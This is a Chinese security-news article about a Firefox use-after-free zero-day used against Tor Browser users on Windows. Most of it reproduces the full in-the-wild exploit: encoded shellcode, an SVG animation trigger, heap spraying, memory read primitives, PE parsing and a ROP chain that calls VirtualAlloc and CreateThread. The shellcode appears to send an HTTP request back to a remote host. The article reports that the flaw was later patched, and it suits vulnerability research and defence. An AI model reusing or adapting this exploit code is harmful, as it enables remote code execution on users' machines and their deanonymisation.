【行业资讯】客正在利用Firefox的0day漏洞攻击Tor用户（含Exploit）
根据最新的消息，安全研究专家发现了一个0day漏洞，攻击者或可利用该漏洞在Tor和Firefox浏览器用户的计算机中执行恶意代码。
就在几天前，Tor官网上首次出现了关于一个未知的Firefox漏洞的消息。其中包含有数百行的漏洞利用代码（java script），攻击者可以利用这份代码来攻击Tor浏览器的用户。Tor项目的联合创始人RogerDingledine也证实了该漏洞的真实性，并且表示Mozilla的工程师们正在努力开发针对该漏洞的修复补丁。
安全研究专家在对代码进行了分析之后表示，攻击代码利用了一个内存崩溃漏洞，该漏洞将允许攻击者在运行了Windows操作系统的计算机中执行恶意代码。
想必各位都知道，2013年美国联邦调查局曾经利用了某种技术成功找出了那些利用Tor匿名服务来访问儿童色情网络的用户，而根据一位独立安全研究人员（@TheWack0lian）的分析报告，此次的恶意Payload与2013年FBI所用的Payload几乎是一样的。
TheWack0lian在接受采访时表示："此次的漏洞利用代码与2013年FBI所用的几乎是一样的，它用来执行恶意代码的漏洞也与2013年Tor浏览器中的漏洞几乎相同。其中的大部分代码都是一样的，只有一小部分改变了。"如果同学们对2013年的那次攻击事件感兴趣的话，可以参阅这份报告【点我获取】。
根据另外一位安全研究人员（JoshuaYabut）的分析报告，攻击者利用了一个所谓的用后释放（UAF）漏洞，该漏洞需要使用java script来触发。Yabut表示，攻击者可以通过这段漏洞利用代码攻击Windows系统，漏洞利用代码可以根据目标Firefox浏览器的版本来调整payload的内存位置，而且远程代码执行的成功率为100%。这也就意味着，攻击者在开发这段漏洞利用代码时进行了非常广泛的测试，并以此来确保攻击代码可以在多版本的Firefox浏览器中正常运行。除此之外，漏洞利用代码还会直接调用kernel32.dll（Windows操作系统的核心部分）。
Mozilla的官方发言人表示，公司已经得知了关于该漏洞的详细信息，相关的技术人员正在努力修复该漏洞。考虑到目前这个漏洞的影响范围，再加上漏洞利用代码已被公布出来，受影响的用户数量可能还会继续增加。因此Mozilla也建议用户在可用的更新补丁发布之前，先暂时选择使用其他的浏览器。如果用户仍然想使用Firefox的话，至少应该禁用访问网站的java script脚本。除此之外，用户也应该停止使用Tor。
漏洞利用代码
下面这段JavaScript代码就是攻击者用来攻击Tor浏览器的漏洞利用代码。它由一个HTML页面和CSS文件构成，具体如下所示。虽然代码的具体功能目前尚不清楚，但是它可以直接访问Windows操作系统的kernel32.dll。
HTML：
- <html>
- <head>
- <script>
- var thecode
- ='\ue8fc\u0089\u0000\u8960\u31e5\u64d2\u528b\u8b30\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31\uc031\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf0e2\u5752\u528b\u8b10\u3c42\ud001\u408b\u8578\u74c0\u014a\u50d0\u488b\u8b18\u2058\ud301\u3ce3\u8b49\u8b34\ud601\uff31\uc031\uc1ac\u0dcf\uc701\ue038\uf475\u7d03\u3bf8\u247d\ue275\u8b58\u2458\ud301\u8b66\u4b0c\u588b\u011c\u8bd3\u8b04\ud001\u4489\u2424\u5b5b\u5961\u515a\ue0ff\u5f58\u8b5a\ueb12\u5d86\u858d\u0297\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u0185\u0000\u858d\u029e\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u016f\u0000\u90bb\u0001\u2900\u54dc\u6853\u8029\u006b\ud5ff\udc01\uc085\u850f\u0155\u0000\u5050\u5050\u5040\u5040\uea68\udf0f\uffe0\u31d5\uf7db\u39d3\u0fc3\u3a84\u0001\u8900\u68c3\u2705\ue21b\u6866\u5000\uc931\uc180\u6602\u8951\u6ae2\u5210\u6853\ua599\u6174\ud5ff\uc085\u0874\u8dfe\u0248\u0000\ud775\u00b8\u0001\u2900\u89c4\u52e2\u5250\ub668\ude49\uff01\u5fd5\uc481\u0100\u0000\uc085\u850f\u00f6\u0000\ue857\u00fa\u0000\u895e\u8dca\ua7bd\u0002
- \ue800\u00ec\u0000\u834f\u20fa\u057c\u20ba\u0000\u8900\u56d1\ua4f3\u0db9\u0000\u8d00\u8ab5\u0002\uf300\u89a4\u44bd\u0002\u5e00\u6856\u28a9\u8034\ud5ff\uc085\u840f'
- +
- '\u00ae\u0000\u8b66\u0a48\u8366\u04f9\u820f\u00a0\u0000\u408d\u8b0c\u8b00\u8b08\ub809\u0100\u0000\u8950\u29e7\u89c4\u57e6\u5156\u6851\u7248\ub8d2\ud5ff\uc085\uc481\u0104\u0000\ub70f\u830f\u06f9\u7072\u06b9\u0000\ub800\u0010\u0000\uc429\ue789\uca89\ue2d1\u5250\ud231\u168a\ud088\uf024\ue8c0\u3c04\u7709\u0404\ueb30\u0402\u8837\u4707\ud088\u0f24\u093c\u0477\u3004\u02eb\u3704\u0788\u4647\ud4e2\u2959\u89cf\u58fe\uc401\ubd8b\u0244\u0000\ua4f3\u36e8\u0000\u3100\u50c0\u2951\u4fcf\u5357\uc268\u38eb\uff5f\uebd5\u6a09\u6800\u1347\u6f72\ud5ff\u6853\u6e75\u614d\ud5ff\uedeb\uc931\ud1f7\uc031\uaef2\ud1f7\uc349\u0000\u0000\u8d03\ua7bd\u0002\ue800\uffe4\uffff\ub94f\u004f\u0000\ub58d\u026e\u0000\ua4f3\ubd8d\u02a7\u0000\ucbe8\uffff\uc3ff\u0a0d\u6341\u6563\u7470\u452d\u636e\u646f\u6e69\u3a67\u6720\u697a\u0d70\u0d0a\u000a\u0a0d\u6f43\u6b6f\u6569\u203a\u434d\u773d\u3273\u335f\u0032\u5049\u4c48\u4150\u4950\u4700\u5445\u2f20\u6130\u3238\u6131\u3038\u302f\u6435\u3063\u3132\u2032\u5448\u5054\u312f\u312e\u0a0d\
- u6f48\u7473\u203a\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u4190';
- var worker = newWorker('cssbanner.js');
- worker.postMessage(thecode);
- var svgns ='http://www.w3.org/2000/svg';
- var heap80 = newArray(0x1000);
- var heap100 =new Array(0x4000);
- var block80 =new ArrayBuffer(0x80);
- var block100 = new ArrayBuffer(0x100);
- var sprayBase =undefined;
- var arrBase =undefined;
- var animateX =undefined;
- var containerA =undefined;
- var offset =0x90;
- if
- (/.*Firefox\/(4[7-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent))
- {
- offset = 0x88;// versions 47.0 or greater
- }
- var $ =function(id) { return document.getElementById(id); }
- var exploit =function()
- {
- var u32 = newUint32Array(block80)
- u32[0x2] =arrBase - offset;
- u32[0x8] =arrBase - offset;
- u32[0xE] =arrBase - offset;
- for(i =heap100.length/2; i < heap100.length; i++)
- {
- heap100[i] =block100.slice(0)
- }
- for(i = 0; i< heap80.length/2; i++)
- {
- heap80[i] =block80.slice(0)
- }
- animateX.setAttribute('begin', '59s')
- animateX.setAttribute('begin', '58s')
- for(i =heap80.length/2; i < heap80.length; i++)
- {
- heap80[i] =block80.slice(0)
- }
- for(i =heap100.length/2; i < heap100.length; i++)
- {
- heap100[i] =block100.slice(0)
- }
- animateX.setAttribute('begin', '10s')
- animateX.setAttribute('begin', '9s')
- window.dump('PAUSING!!! YAYA');
- containerA.pauseAnimations();
- }
- worker.onmessage = function(e)
- {
- worker.onmessage = function(e)
- {
- window.setTimeout(function()
- {
- worker.terminate();
- document.body.innerHTML = '';
- document.getElementsByTagName('head')[0].innerHTML = '';
- document.body.setAttribute('onload', '')
- }, 1000);
- }
- arrBase = e.data;
- exploit();
- }
- var idGenerator =function()
- {
- return 'id' +
- (((1+Math.random())*0x10000)|0).toString(16).substring(1);
- }
- var craftDOM =function()
- {
- containerA =document.createElementNS(svgns, 'svg')
- var containerB =document.createElementNS(svgns, 'svg');
- animateX =document.createElementNS(svgns, 'animate')
- var animateA =document.createElementNS(svgns, 'animate')
- var animateB =document.createElementNS(svgns, 'animate')
- var animateC =document.createElementNS(svgns, 'animate')
- var idX =idGenerator();
- var idA =idGenerator();
- var idB =idGenerator();
- var idC =idGenerator();
- animateX.setAttribute('id', idX);
- animateA.setAttribute('id', idA);
- animateA.setAttribute('end', '50s');
- animateB.setAttribute('id', idB);
- animateB.setAttribute('begin', '60s');
- animateB.setAttribute('end', idC + '.end');
- animateC.setAttribute('id', idC);
- animateC.setAttribute('begin', '10s');
- animateC.setAttribute('end', idA + '.end');
- containerA.appendChild(animateX)
- containerA.appendChild(animateA)
- containerA.appendChild(animateB)
- containerB.appendChild(animateC)
- document.body.appendChild(containerA);
- document.body.appendChild(containerB);
- }
- window.onload =craftDOM;
- //
- </script>
- <style>
- #mtdiv{
- position:absolute;
- width:960px;
- height:166px;
- z-index:15;
- top: 100px;
- left: 50%;
- margin: 00 0 -480px;
- }
- </style>
- </head>
- <bodybgcolor='#2F3236'>
- <divid='mtdiv'>
- <imgsrc='mt.png'/>
- </div>
- </body>
- <script>
- setTimeout('window.location = \'member.php\';', 2000);
- </script>
- </html>
cssbanner.js：
- self.onmessage =
- function(msg) {
- thecode = msg.data;
- var pack = function(b) { var a = b >> 16; return String.fromCharCode(b
- & 65535) + String.fromCharCode(a) };
- function Memory(b,a,f)
- {
- this._base_addr=b;
- this._read=a;
- this._write=f;
- this._abs_read =function(a) {
- a >=this._base_addr ? a = this._read( a - this._base_addr) : (
- a = 4294967295 - this._base_addr + 1 + a, a = this._read(a));
- return0>a?4294967295+a+1:a
- };
- this._abs_write= function(a,b) {
- a >=this._base_addr ? this._write(a - this._base_addr, b) : ( a
- = 4294967295 - this._base_addr + 1 + a, this._write(a,b) )
- };
- this.readByte =function(a) {
- returnthis.read(a) & 255
- };
- this.readWord =function(a) {
- returnthis.read(a) & 65535
- };
- this.readDword =function(a){ return this.read(a) };
- this.read =function(a,b) {
- if (a%4) {
- var c =this._abs_read( a & 4294967292),
- d =this._abs_read( a+4 & 4294967292),
- e =a%4;
- returnc>>>8*e | d<<8*(4-e)
- }
- returnthis._abs_read(a)
- };
- this.readStr =function(a) {
- for(var b ="", c = 0;;) {
- if (32== c)
- return "";
- var d =this.readByte(a+c);
- if(0 ==d)
- break;
- b +=String.fromCharCode(d);
- c++
- }
- return b
- };
- this.write =function(a){}
- }
- function PE(b,a) {
- this.mem = b;
- this.export_table = this.module_base = void 0;
- this.export_table_size = 0;
- this.import_table = void 0;
- this.import_table_size = 0;
- this.find_module_base = function(a) {
- for(a &=4294901760; a; ) {
- if(23117== this.mem.readWord(a))
- return this.module_base=a;
- a -= 65536
- }
- };
- this._resolve_pe_structures = function() {
- peFile =this.module_base + this.mem.readWord(this.module_base+60);
- if(17744 !=this.mem.readDword(peFile))
- throw"Bad NT Signature";
- this.pe_file= peFile;
- this.optional_header = this.pe_file+36;
- this.export_directory =
- this.module_base+this.mem.readDword(this.pe_file+120);
- this.export_directory_size = this.mem.readDword(this.pe_file+124);
- this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);
- this.import_directory_size=this.mem.readDword(this.pe_file+132)};
- this.resolve_imported_function=function(a,b){
- void0==this.import_directory&&this._resolve_pe_structures();
- for(var
- e=this.import_directory,c=e+this.import_directory_size;e<c;){
- var
- d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);
- if(a.toUpperCase()==d.toUpperCase()){
- for(var c = this.mem.readDword(e) + this.module_base,
- e = this.mem.readDword(e+16) +
- this.module_base,
- d = this.mem.readDword(c),
- f = 0 ; 0 !=d ;)
- {
- if(this.mem.readStr(d+this.module_base+2).toUpperCase()
- == b.toUpperCase())
- return this.mem.readDword(e+4*f);
- f++;
- d = this.mem.readDword(c+4*f)
- }
- break
- }
- e+=20
- }
- return 0
- };
- void 0!=a&& this.find_module_base(a)
- }
- functionROP(b,a){
- this.mem = b;
- this.pe = newPE(b,a);
- this.pe._resolve_pe_structures();
- this.module_base = this.pe.module_base+4096;
- this.findSequence = function(a) {
- for(varb=0;;) {
- for(var e=0,c=0;c<a.length;c++)
- if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)
- e++;
- else
- break;
- if(e==a.length)
- returnthis.module_base+b;
- b++
- }
- };
- this.findStackPivot=function() {
- returnthis.findSequence([148,195])
- };
- this.findPopRet=function(a) {
- returnthis.findSequence([88,195])
- };
- this.ropChain=function(a,b,e,c) {
- c = void 0 !=c ? c : new ArrayBuffer(4096);
- c = newUint32Array(c);
- var d =this.findStackPivot(),
- f =this.findPopRet("EAX"),
- g =
- this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");
- c[0]= f+1;
- c[1]= f;
- c[2]=a+b+4*e+4;
- c[3]= d;
- for(i=0;i<e;i++)
- c[(b>>2)+i] = d;
- d=(b+4>>2)+e;
- c[d++]=g;
- c[d++]=a+(b+4*e+28);
- c[d++]=a;
- c[d++]=4096;
- c[d++]=4096;
- c[d++]=64;
- c[d++]=3435973836;
- return c
- }
- }
- var conv=newArrayBuffer(8),
- convf64=newFloat64Array(conv),
- convu32=newUint32Array(conv),
- qword2Double=function(b,a){
- convu32[0]=b;
- convu32[1]=a;
- returnconvf64[0]
- },
- doubleFromFloat= function(b,a) {
- convf64[0]=b;
- returnconvu32[a]
- },
- sprayArrays=function() {
- for(varb=Array(262138),a=0;262138>a;a++)
- b[a]=fzero;
- for(a=0;a<b.length;a+=512)
- b[a+1] =memory,
- b[a+21]= qword2Double(0,2),
- b[a+14]= qword2Double(arrBase+o1,0),
- b[a+(o1+8)/8]= qword2Double(arrBase+o2,0),
- b[a+(o2+0)/8] = qword2Double(2,0),
- b[a+(o2+8)/8] = qword2Double(arrBase+o3,arrBase+13),
- b[a+(o3+0)/8] = qword2Double(16,0),
- b[a+(o3+24)/8] = qword2Double(2,0),
- b[a+(o3+32)/8] = qword2Double(arrBase+o5,arrBase+o4),
- b[a+(o4+0)/8] = qword2Double(0,arrBase+o6),
- b[a+(o5+0)/8] = qword2Double(arrBase+o7,0),
- b[a+(o6+8)/8] = qword2Double(2,0),
- b[a+(o7+8)/8]= qword2Double(arrBase+o7+16,0),
- b[a+(o7+16)/8] = qword2Double(0,4026531840),
- b[a+(o7+32)/8] = qword2Double(0,3220176896),
- b[a+(o7+48)/8] = qword2Double(2,0),
- b[a+(o7+56)/8] = qword2Double(1,0),
- b[a+(o7+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
- b[a+(o7+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
- b[a+(o7+168)/8] = qword2Double(0,2),
- b[a+(o9+0)/8]= qword2Double(arrBase+o10,2),
- b[a+(o10+0)/8] = qword2Double(2,0),
- b[a+(o10+8)/8] = qword2Double(0,268435456),
- b[a+(o11+8)/8] = qword2Double(arrBase+o11+16,0),
- b[a+(o11+16)/8] = qword2Double(0,4026531840),
- b[a+(o11+32)/8] = qword2Double(0,3220176896),
- b[a+(o11+48)/8] = qword2Double(2,0),
- b[a+(o11+56)/8] = qword2Double(1,0),
- b[a+(o11+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
- b[a+(o11+112)/8] =qword2Double(arrBase+o9,arrBase+o9+16),
- b[a+(o11+168)/8] = qword2Double(0,2);
- for(a=0;a<spr.length;a++)
- spr[a]=b.slice(0)
- },vtable_offset=300;
- /.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)?
- vtable_offset=304 :
- /.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)
- && (vtable_offset=308);
- varspr=Array(400),
- arrBase=805306416,
- ropArrBuf=newArrayBuffer(4096),
- o1=176,
- o2=256,
- o3=768,
- o4=832,
- o5=864,
- o6=928,
- o7=1024,
- o8=1280,
- o9=1344,
- o10=1376,
- o11=1536,
- oRop=1792,
- memory=newUint32Array(16),
- len=memory.length,
- arr_index=0,
- arr_offset=0;
- fzero=qword2Double(0,0);
- 0!=thecode.length%2&&(thecode+="\u9090");
- sprayArrays();
- postMessage(arrBase);
- for(memarrayloc=void 0;void 0==memarrayloc;)
- for(i=0;i<spr.length;i++)
- for(offset=0;offset<spr[i].length;offset+=512)
- if("object" != typeof spr[i][offset+1]) {
- memarrayloc=doubleFromFloat(spr[i][offset+1],0);
- arr_index=i;
- arr_offset=offset;
- spr[i][offset+(o2+0)/8]=qword2Double(65,0);
- spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);
- for(j=0;33>j;j++)
- spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);
- spr[i][offset+(o3+8)/8]=qword2Double(0,0);
- spr[i][offset+(o5+0)/8]=qword2Double(arrBase+o11,0);
- spr[i][offset+(o7+168)/8]=qword2Double(0,3);
- spr[i][offset+(o7+88)/8]=qword2Double(0,2);
- break
- }
- for(;memory.length==len;);
- var mem=newMemory(memarrayloc+48,
- function(b){return memory[b/4]},
- function(b,a){memory[b/4]=a}),
- xulPtr=mem.readDword(memarrayloc+12);
- spr[arr_index][arr_offset+1]=ropArrBuf;
- ropPtr=mem.readDword(arrBase+8);
- spr[arr_index][arr_offset+1]=null;
- ropBase=mem.readDword(ropPtr+16);
- var rop=newROP(mem,xulPtr);
- rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
- varbackupESP=rop.findSequence([137,1,195]), ropChain=new
- Uint32Array(ropArrBuf);
- ropChain[0]=backupESP;
- CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");
- for(vari=0;i<ropChain.length&&3435973836!=ropChain[i];i++);
- ropChain[i++]=3296825488;
- ropChain[i++]=2048;
- ropChain[i++]=1347469361;
- ropChain[i++]=1528949584;
- ropChain[i++]=3092271187;
- ropChain[i++]=CreateThread;
- ropChain[i++]=3096498431;
- ropChain[i++]=arrBase+16;
- ropChain[i++]=1955274891;
- ropChain[i++]=280697892;
- ropChain[i++]=704643071;
- ropChain[i++]=2425406428;
- ropChain[i++]=4294957800;
- ropChain[i++]=2425393407;
- for (varj=0;j<thecode.length;j+=2)
- ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);
- spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);
- spr[arr_index][arr_offset+3]=qword2Double(0,256);
- spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);
- spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);
- spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);
- postMessage("GREAT SUCCESS");
- };
更新：火狐浏览器的开发商Mozilla和Tor项目组已经修复了相关的底层漏洞。据了解，Windows、Mac OSX和Linux平台的浏览器均受到了该漏洞的影响。
* 参考来源：arstechnica、torproject，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM
技术交流QQ群： 397745473
来自:https://xianzhi.aliyun.com/forum/read/491.html?fpage=4
评论
发表评论